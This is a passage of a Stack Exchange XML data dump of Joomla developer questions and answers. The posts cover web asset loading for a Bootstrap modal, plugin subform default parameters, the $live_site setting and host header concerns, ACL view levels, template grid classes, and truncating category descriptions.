]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;HtmlView.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    public function display($tpl = null)&#xA;    {&#xA;        ....&#xA;        include_once ('components/com_almacen/modal/modal_pintura.php');&#xA;        &#xA;        $wa = $this-&amp;gt;document-&amp;gt;getWebAssetManager();&#xA;        $wa-&amp;gt;useScript('almacen.modal_pintura');&#xA;        ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;modal_pintura.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;div class=&amp;quot;modal fade&amp;quot; id=&amp;quot;modal_pintura&amp;quot;  tabindex=&amp;quot;-1&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&#xA;    ....&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;modal_pintura.js&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$('#modal_pintura').on('show.bs.modal', function (event) {&#xA;    console.log('Event: ', event);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;js function is loaded and modal open on click a button, but show.bs.modal event doesn't fire. It only works wrapping all js code in a jQuery .ready function:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;modified modal_pintura.js&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('#modal_pintura').on('show.bs.modal', function (event) {&#xA;        console.log('Event: ', event);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please, Is there any different dependencies or attributes to include in joomla.asset.json for load js file after all html or specific php file?&lt;/p&gt;&#xA;" OwnerUserId="16614" LastEditorUserId="16614" LastEditDate="2023-12-24T14:07:39.987" LastActivityDate="2023-12-27T16:29:34.557" Title="Loading a JS file with web asset manager for Bootstrap modal" Tags="|javascript|modal|joomla-5.x|web-asset-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33546" PostTypeId="1" AcceptedAnswerId="33552" CreationDate="2023-12-25T13:35:29.037" Score="1" ViewCount="72" Body="&lt;p&gt;I'm trying to write a plugin that needs to use the same subform twice, and I want to set different default values for these two subforms. The config part of my XML file looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addrulepath=&amp;quot;/path/to/rules&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;first&amp;quot; type=&amp;quot;subform&amp;quot;&#xA;                formsource=&amp;quot;/path/to/subform.xml&amp;quot;&#xA;                label=&amp;quot;First&amp;quot;&#xA;                default='{&amp;quot;length_max&amp;quot;:&amp;quot;380&amp;quot;, &amp;quot;width_max&amp;quot;:&amp;quot;265&amp;quot;, &amp;quot;height_max&amp;quot;:&amp;quot;32&amp;quot;, &amp;quot;weight_max&amp;quot;:&amp;quot;2000&amp;quot;, &amp;quot;rate&amp;quot;:&amp;quot;4.85&amp;quot;}'&#xA;            /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;second&amp;quot; type=&amp;quot;subform&amp;quot;&#xA;                formsource=&amp;quot;/path/to/subform.xml&amp;quot;&#xA;                label=&amp;quot;Second&amp;quot;&#xA;                default='{&amp;quot;length_max&amp;quot;:&amp;quot;1000&amp;quot;, &amp;quot;width_max&amp;quot;:&amp;quot;500&amp;quot;, &amp;quot;height_max&amp;quot;:&amp;quot;500&amp;quot;, &amp;quot;weight_max&amp;quot;:&amp;quot;10000&amp;quot;, &amp;quot;rate&amp;quot;:&amp;quot;7.65&amp;quot;}'&#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These fields are displaying properly on the plugin settings page and also showing the default values I specified.&lt;/p&gt;&#xA;&lt;p&gt;However, if I check the database after installing the plugin, the &lt;code&gt;params&lt;/code&gt; field in the  &lt;code&gt;*_extensions&lt;/code&gt; table looks like this (note the extra slashes):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;first&amp;quot;:&amp;quot;{\&amp;quot;length_max\&amp;quot;:\&amp;quot;380\&amp;quot;, \&amp;quot;width_max\&amp;quot;:\&amp;quot;265\&amp;quot;, \&amp;quot;height_max\&amp;quot;:\&amp;quot;32\&amp;quot;, \&amp;quot;weight_max\&amp;quot;:\&amp;quot;2000\&amp;quot;, \&amp;quot;rate\&amp;quot;:\&amp;quot;4.85\&amp;quot;}&amp;quot;,&amp;quot;second&amp;quot;:&amp;quot;{\&amp;quot;length_max\&amp;quot;:\&amp;quot;1000\&amp;quot;, \&amp;quot;width_max\&amp;quot;:\&amp;quot;500\&amp;quot;, \&amp;quot;height_max\&amp;quot;:\&amp;quot;500\&amp;quot;, \&amp;quot;weight_max\&amp;quot;:\&amp;quot;10000\&amp;quot;, \&amp;quot;rate\&amp;quot;:\&amp;quot;7.65\&amp;quot;}&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I then try to access the &amp;quot;first&amp;quot; parameter from my plugin php file using &lt;code&gt;$this-&amp;gt;params-&amp;gt;get('first')&lt;/code&gt; it returns a string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;string(94) &amp;quot;{&amp;quot;length_max&amp;quot;:&amp;quot;380&amp;quot;, &amp;quot;width_max&amp;quot;:&amp;quot;265&amp;quot;, &amp;quot;height_max&amp;quot;:&amp;quot;32&amp;quot;, &amp;quot;weight_max&amp;quot;:&amp;quot;2000&amp;quot;, &amp;quot;rate&amp;quot;:&amp;quot;4.85&amp;quot;}&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I now go to the plugin settings page and don't change anything but click Save, the database &lt;code&gt;params&lt;/code&gt; value changes to the following (note the slashes are now gone):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;first&amp;quot;:{&amp;quot;length_max&amp;quot;:&amp;quot;380&amp;quot;,&amp;quot;width_max&amp;quot;:&amp;quot;265&amp;quot;,&amp;quot;height_max&amp;quot;:&amp;quot;32&amp;quot;,&amp;quot;weight_max&amp;quot;:&amp;quot;2000&amp;quot;,&amp;quot;rate&amp;quot;:&amp;quot;4.85&amp;quot;},&amp;quot;second&amp;quot;:{&amp;quot;length_max&amp;quot;:&amp;quot;1000&amp;quot;,&amp;quot;width_max&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;height_max&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;weight_max&amp;quot;:&amp;quot;10000&amp;quot;,&amp;quot;rate&amp;quot;:&amp;quot;7.65&amp;quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And if I now get the &amp;quot;first&amp;quot; parameter (again using &lt;code&gt;$this-&amp;gt;params-&amp;gt;get('first')&lt;/code&gt;), it returns an object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#1321 (5) { [&amp;quot;length_max&amp;quot;]=&amp;gt; string(3) &amp;quot;380&amp;quot; [&amp;quot;width_max&amp;quot;]=&amp;gt; string(3) &amp;quot;265&amp;quot; [&amp;quot;height_max&amp;quot;]=&amp;gt; string(2) &amp;quot;32&amp;quot; [&amp;quot;weight_max&amp;quot;]=&amp;gt; string(4) &amp;quot;2000&amp;quot; [&amp;quot;rate&amp;quot;]=&amp;gt; string(4) &amp;quot;4.85&amp;quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Problem:&lt;/p&gt;&#xA;&lt;p&gt;I want to be able to consistantly get either a string or an object for the parameter, not one or the other depending on whether the user has gone to the plugin settings page and clicked Save.&lt;/p&gt;&#xA;&lt;p&gt;Am I doing something wrong in setting the default values for the fields, or in getting the parameter from the database? Is there another function I should be using to get the value from the database instead of &lt;code&gt;$this-&amp;gt;params-&amp;gt;get(...)&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;(Edit: using Joomla version 4.4.1 with php 7.4.28)&lt;/p&gt;&#xA;" OwnerUserId="17536" LastEditorUserId="17536" LastEditDate="2023-12-25T15:02:09.030" LastActivityDate="2023-12-27T12:20:48.420" Title="Params field value for extension in database is inconsistant when using subform &amp; default values, it returns either a string or an object, how to fix?" Tags="|xml|json|subform|default|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33547" PostTypeId="1" CreationDate="2023-12-25T16:20:52.780" Score="1" ViewCount="83" Body="&lt;p&gt;The advice for the value of $live_site in configuration.php is often in Joomla forum an empty string represented by two single quotation marks. For example here: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=811&amp;amp;t=998357&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=811&amp;amp;t=998357&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am not very familiar with server configuration. What exactly does the following warning mean and is it still up to date?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Running on a non-vhost environment:&#xA;When you are running Joomla on a non-vhost environment please make sure that you set the live_site setting within the configruation.php to your domain in order to protect you against potential Host Header Injection. All sites that are running within an vhost setup are not affected by this issue.&amp;quot; &lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Joomla!_Setup#Running_on_a_non-vhost_environment&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Security_Checklist/Joomla!_Setup#Running_on_a_non-vhost_environment&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If I see it correctly, this is the relevant place in the Joomla-code.&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/b38856dfec12c0755084e10b66579f18abf4cc6b/libraries/src/Uri/Uri.php#L134&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/b38856dfec12c0755084e10b66579f18abf4cc6b/libraries/src/Uri/Uri.php#L134&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Addition on 26.12&lt;/strong&gt;&#xA;Why is it recommended to leave the variable empty? In my opinion there is no reason for this and the correct specification should always be better? Of course, you have to remember to change this variable when you move. For example, if you are developing under a different URI.&#xA;Because with  the correct specification of $live_site the URI for creating the relative Routes in Joomla is read from the configuration and not from the HTTP header and therefore an &lt;a href=&quot;https://crashtest-security.com/invalid-host-header/#how-to-prevent-host-header-attacks&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP host header attack&lt;/a&gt; is more difficult.&lt;/p&gt;&#xA;&lt;p&gt;Am I seeing this wrong? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="7387" LastEditDate="2023-12-26T10:49:01.083" LastActivityDate="2023-12-26T10:49:01.083" Title="What is the variable live_site in configuration.php for?" Tags="|security|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33548" PostTypeId="2" ParentId="33546" CreationDate="2023-12-26T07:47:15.060" Score="2" Body="&lt;p&gt;When your plugin is installed the manifest(.xml) file is parsed and a fairly basic process of saving your values into the #__extension table occurs. In the case of the params the &lt;code&gt;default=&lt;/code&gt; is being saved as a simple string as your detailed post shows and this includes prefixing the '' slash to denote the following '&amp;quot;' is to be stored and is not the end of the value.&lt;/p&gt;&#xA;&lt;p&gt;However when you view your Plugin settings the Form processing uses the &lt;code&gt;get()&lt;/code&gt; method of &lt;code&gt;..\libraries\vendor\joomla\registry\src\Registry.php&lt;/code&gt; which parses the string and converts it into an Array or Object and thus displays correctly and then when it is saved it is stored as an object in this case.&lt;/p&gt;&#xA;&lt;p&gt;The solution I can see for this issue involves using the post-install script processing the can be executed when your plugin is installed to update the string to replace it with the option.&lt;/p&gt;&#xA;&lt;p&gt;The post-insatll script should retrieve the entire field of params from the #__extensions table using the Registry methods and then save all the values back again using the Registry methods and that should mean any subsequent calls to the plugin are not going to retrieve a string for your field(s).&lt;/p&gt;&#xA;&lt;p&gt;I don't have any code to hand that I can think of to get you started but saving the Plugin settings after installation has been a fairly common requirement for all versions of Joomla so there are examples out there.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-12-27T09:45:08.007" LastActivityDate="2023-12-27T09:45:08.007" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33549" PostTypeId="2" ParentId="33547" CreationDate="2023-12-26T08:18:04.887" Score="2" Body="&lt;p&gt;TL:DR - I don't think there is much use of the $live_site parameter and probably even less use of non-vhost environments so it may be still relevant for some obscure set up but I don't think anyone is going to miss it if the sentence was removed.&lt;/p&gt;&#xA;&lt;p&gt;I have used $live_site since Joomla 1 when I have wanted to put the Joomla installation for the primary domain of the cPanel account into a sub directory and hide the sub-directory from appearing in the URL. I use it as part of a hack to get around a limitation of cPanel.&lt;/p&gt;&#xA;&lt;p&gt;For the Primary Domain cpanel expects it to be in the public_html folder, /root. If you installed Joomla into a sub-directory, e.g. /fred, then the URL would look like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;www.mydomain.com./fred/mypage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With a couple of lines of .htacces magic and putting &lt;code&gt;$live_site=&amp;quot;https://mydomain.com&amp;quot;;&lt;/code&gt; in the configuration.php my URL would look like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;www.mydoamin.com/mypage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Appearing like any other add-on domain used on the cPanel account, hiding the sub-directory from the public.&lt;/p&gt;&#xA;&lt;p&gt;Some people will say very strongly that $live_site should not be used but provide no reasons to support their view and I have not seen any other uses of $live_site over the years but there is no mention of it being depreciated that I have come across either.&lt;/p&gt;&#xA;&lt;p&gt;However in Joomla 4 a change was introduced that breaks the Logout processing of a site using $live_site, returning a HTML 404, that as far as I am aware still exists. I haven't tested it in Joomla 5 yet and I am possibly the only person that has noticed it is now broken which I think supports my view that it isn't widely used.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-12-26T08:18:04.887" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33550" PostTypeId="2" ParentId="33542" CreationDate="2023-12-26T08:46:06.757" Score="1" Body="&lt;p&gt;There is no ability, via core or a 3rd party extension, to provide you with the ability to have multiple view groups specified in an Article, Category or Menu. Understanding how the View level is used by the and 3rd party extensions being able to have multiple view levels would be a fundamental shift in how Joomla does access control so I suspect that it is not something likely to be introduced either.&lt;/p&gt;&#xA;&lt;p&gt;You may find one or two extensions in JED that make it easier for you to manage a large set of User Groups and View levels however you will only have one view level that you can define.&lt;/p&gt;&#xA;&lt;p&gt;Your additional information provided in the question, thank you, doesn't provide any context around what you are trying to manage, e.g. departments in a company or something else, therefore my following comments are going to be more general in nature.&lt;/p&gt;&#xA;&lt;p&gt;In a simple Joomla environment you find a one to one relationship arrangement between usergroups and view levels. In your question your example shows a hierarchical arrangement of Usergroups and view levels which tend to suit organisational structures with departments etc.&lt;/p&gt;&#xA;&lt;p&gt;A third arrangement is to have a roles based or responsibilities structure to your ACL where access is granted by what need or role they play that requires access to the content rather than a hierarchical or departmental structure.&lt;/p&gt;&#xA;&lt;p&gt;A good article that describes this approach can be found here, &lt;a href=&quot;https://magazine.joomla.org/all-issues/september-2012/implementing-role-based-acl&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/september-2012/implementing-role-based-acl&lt;/a&gt; and although written for Joomla 3 it is not something confined to Joomla nor organisation structures, I have worked with this in other areas of IT security. With some thinking and planning it can be useful for subscription based access and other requirements.&lt;/p&gt;&#xA;&lt;p&gt;In your question you need to move the mindset from having multiple view levels in an article to having multiple usergorups per a single view level.&lt;/p&gt;&#xA;&lt;p&gt;Whether it means less user groups and view levels for you or more complexity that will come down to your requirements and implementation in the context of what you are trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-12-26T08:46:06.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33551" PostTypeId="1" AcceptedAnswerId="33572" CreationDate="2023-12-26T20:47:38.543" Score="0" ViewCount="49" Body="&lt;p&gt;I upgrade a site template from Nebulae - version 1.6.3 to the latest version 1.16. &lt;a href=&quot;https://rockettheme.com/docs/joomla/templates/nebulae/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nebulae Template&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The new template change the rt-container children class from this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F1dS7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F1dS7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9Zeu1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Zeu1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nLP1M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLP1M.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NiNEz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NiNEz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, the layout reversed because the class changed inside rt-container. I manually changed the grid class on &lt;code&gt;templates/rt_nebulae/html/layouts/body_mainbody.php&lt;/code&gt; but it applied to all pages:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://test.local/services/programming-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://test.local/services/programming-services&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://test.local/services/design-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://test.local/services/design-services&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://test.local/services/others&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://test.local/services/others&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;templates/rt_nebulae/html/layouts/body_mainbody.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die();&#xA;&#xA;gantry_import('core.gantrylayout');&#xA;&#xA;/**&#xA; *&#xA; * @package gantry&#xA; * @subpackage html.layouts&#xA; */&#xA;class GantryLayoutBody_MainBody extends GantryLayout {&#xA;    var $render_params = array(&#xA;        'schema'        =&amp;gt;  null,&#xA;        'pushPull'      =&amp;gt;  null,&#xA;        'classKey'      =&amp;gt;  null,&#xA;        'sidebars'      =&amp;gt;  '',&#xA;        'contentTop'    =&amp;gt;  null,&#xA;        'contentBottom' =&amp;gt;  null&#xA;    );&#xA;    function render($params = array()){&#xA;        global $gantry;&#xA;&#xA;        $fparams = $this-&amp;gt; _getParams($params);&#xA;&#xA;        // logic to determine if the component should be displayed&#xA;        $display_mainbody = !($gantry-&amp;gt;get(&amp;quot;mainbody-enabled&amp;quot;,true)==false &amp;amp;&amp;amp; JRequest::getVar('view') == 'featured');&#xA;        $display_component = !($gantry-&amp;gt;get(&amp;quot;component-enabled&amp;quot;,true)==false &amp;amp;&amp;amp; (JRequest::getVar('option') == 'com_content' &amp;amp;&amp;amp; JRequest::getVar('view') == 'featured'));&#xA;        ob_start();&#xA;&#xA;        $mbClasses = trim(&amp;quot;rt-grid-&amp;quot; . trim($fparams-&amp;gt;schema['mb'] . &amp;quot; &amp;quot; . $fparams-&amp;gt;pushPull[0]));&#xA;        $mbClasses = preg_replace('/\s\s+/', ' ', $mbClasses);&#xA;// XHTML LAYOUT&#xA;?&amp;gt;          &#xA;&amp;lt;?php if ($display_mainbody) : ?&amp;gt;&#xA;&amp;lt;div id=&amp;quot;rt-main&amp;quot; class=&amp;quot;&amp;lt;?php echo $fparams-&amp;gt;classKey; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;rt-container&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;&amp;lt;?php echo $mbClasses; ?&amp;gt;&amp;quot;&amp;gt;&#xA;            &amp;lt;?php if (isset($fparams-&amp;gt;contentTop)) : ?&amp;gt;&#xA;            &amp;lt;?php if (controlsDisplay('content-top')): ?&amp;gt;&amp;lt;div class=&amp;quot;scroller-enabled&amp;quot;&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;div id=&amp;quot;rt-content-top&amp;quot;&amp;gt;&#xA;                &amp;lt;?php echo $fparams-&amp;gt;contentTop; ?&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;clear&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if (controlsDisplay('content-top')): ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php if ($display_component) : ?&amp;gt;&#xA;                &amp;lt;?php if ($gantry-&amp;gt;get('articlestyle')!='') : ?&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;&amp;lt;?php echo $gantry-&amp;gt;get('articlestyle'); ?&amp;gt;&amp;quot;&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;rt-block&amp;quot;&amp;gt;&#xA;                        &amp;lt;div id=&amp;quot;rt-mainbody&amp;quot;&amp;gt;&#xA;                            &amp;lt;div class=&amp;quot;component-content&amp;quot;&amp;gt;&#xA;                                &amp;lt;jdoc:include type=&amp;quot;component&amp;quot; /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;clear&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php if ($gantry-&amp;gt;get('articlestyle')!='') : ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php if (isset($fparams-&amp;gt;contentBottom)) : ?&amp;gt;&#xA;            &amp;lt;?php if (controlsDisplay('content-bottom')): ?&amp;gt;&amp;lt;div class=&amp;quot;scroller-enabled&amp;quot;&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;div id=&amp;quot;rt-content-bottom&amp;quot;&amp;gt;&#xA;                &amp;lt;?php echo $fparams-&amp;gt;contentBottom; ?&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;clear&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if (controlsDisplay('content-bottom')): ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php echo $fparams-&amp;gt;sidebars; ?&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;clear&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php&#xA;        return ob_get_clean();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want only to modify the CSS grid class on &lt;code&gt;http://test.local/services/programming-services&lt;/code&gt; page. How should we do this in Joomla 3.10.12? I'm a complete newbie to Joomla and couldn't find much info on Nebulae's docs.&lt;/p&gt;&#xA;" OwnerUserId="17539" LastActivityDate="2024-01-08T08:43:58.517" Title="How do I modify the CSS class on a specific page in a Joomla 3 template?" Tags="|joomla-3.x|templates|css|gantry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33552" PostTypeId="2" ParentId="33546" CreationDate="2023-12-27T12:20:48.420" Score="0" Body="&lt;p&gt;Thanks to Irata for confirming I've specified the default values correctly and that I should indeed be using &lt;code&gt;$this-&amp;gt;params-&amp;gt;get(...)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since I only need to access the parameter in one place, I've decided to simply use &lt;code&gt;if (is_string($params)) { $params = json_decode($params); }&lt;/code&gt; in the plugin php file to convert the json string to an object in case the user hasn't clicked Save on the settings page yet.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$subforms = ['first', 'second'];&#xA;&#xA;foreach ($subforms as $subform) {&#xA;    $params = $this-&amp;gt;params-&amp;gt;get($subform);&#xA;&#xA;    if (is_string($params)) {&#xA;        $params = json_decode($params);&#xA;    }&#xA;&#xA;    // do something with the $params object&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17536" LastActivityDate="2023-12-27T12:20:48.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33553" PostTypeId="2" ParentId="33545" CreationDate="2023-12-27T16:29:34.557" Score="0" Body="&lt;p&gt;Testing and testing, in joomla.asset.json file I have removed jQuery dependency,&#xA;reordering and I don't know why but finally it works!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;joomla.asset.json&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    {&#xA;        &amp;quot;name&amp;quot;: &amp;quot;almacen.arandela&amp;quot;,&#xA;        &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;        &amp;quot;uri&amp;quot;: &amp;quot;com_almacen/arandela.js&amp;quot;,&#xA;        &amp;quot;attributes&amp;quot;: {&#xA;            &amp;quot;defer&amp;quot;: true&#xA;        },&#xA;        &amp;quot;dependencies&amp;quot;: [&#xA;            &amp;quot;core&amp;quot;&#xA;        ]&#xA;    }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-12-27T16:29:34.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33554" PostTypeId="1" AcceptedAnswerId="33555" CreationDate="2023-12-29T19:36:27.863" Score="0" ViewCount="75" Body="&lt;p&gt;I'd like to be able to truncate the character length of the article category description.&lt;/p&gt;&#xA;&lt;p&gt;This is the code that renders the description:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;com-content-category-blog__description category-desc&amp;quot;&amp;gt;&#xA;  &amp;lt;?php echo HTMLHelper::_('content.prepare', $child-&amp;gt;description, '',  'com_content.category'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I modify the php statement to say only return the first 50 characters of the description?&lt;/p&gt;&#xA;&lt;p&gt;many thanks.&lt;/p&gt;&#xA;" OwnerUserId="17543" LastActivityDate="2023-12-30T09:20:53.057" Title="How to truncate category description?" Tags="|php|joomla-5.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33555" PostTypeId="2" ParentId="33554" CreationDate="2023-12-30T06:30:41.403" Score="1" Body="&lt;p&gt;You can use substr PHP function for that :&#xA;&lt;a href=&quot;https://www.php.net/manual/fr/function.substr.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/fr/function.substr.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;div class=&amp;quot;com-content-category-blog__description category-desc&amp;quot;&amp;gt;&#xA;  &amp;lt;?php &#xA;     $str = HTMLHelper::_('content.prepare', $child-&amp;gt;description, '',  'com_content.category'); &#xA;$nbcar=50;&#xA;$str = substr($str, 0, $nbcar);&#xA;echo $str;&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;$nbcar is the number of chars&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2023-12-30T06:30:41.403" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
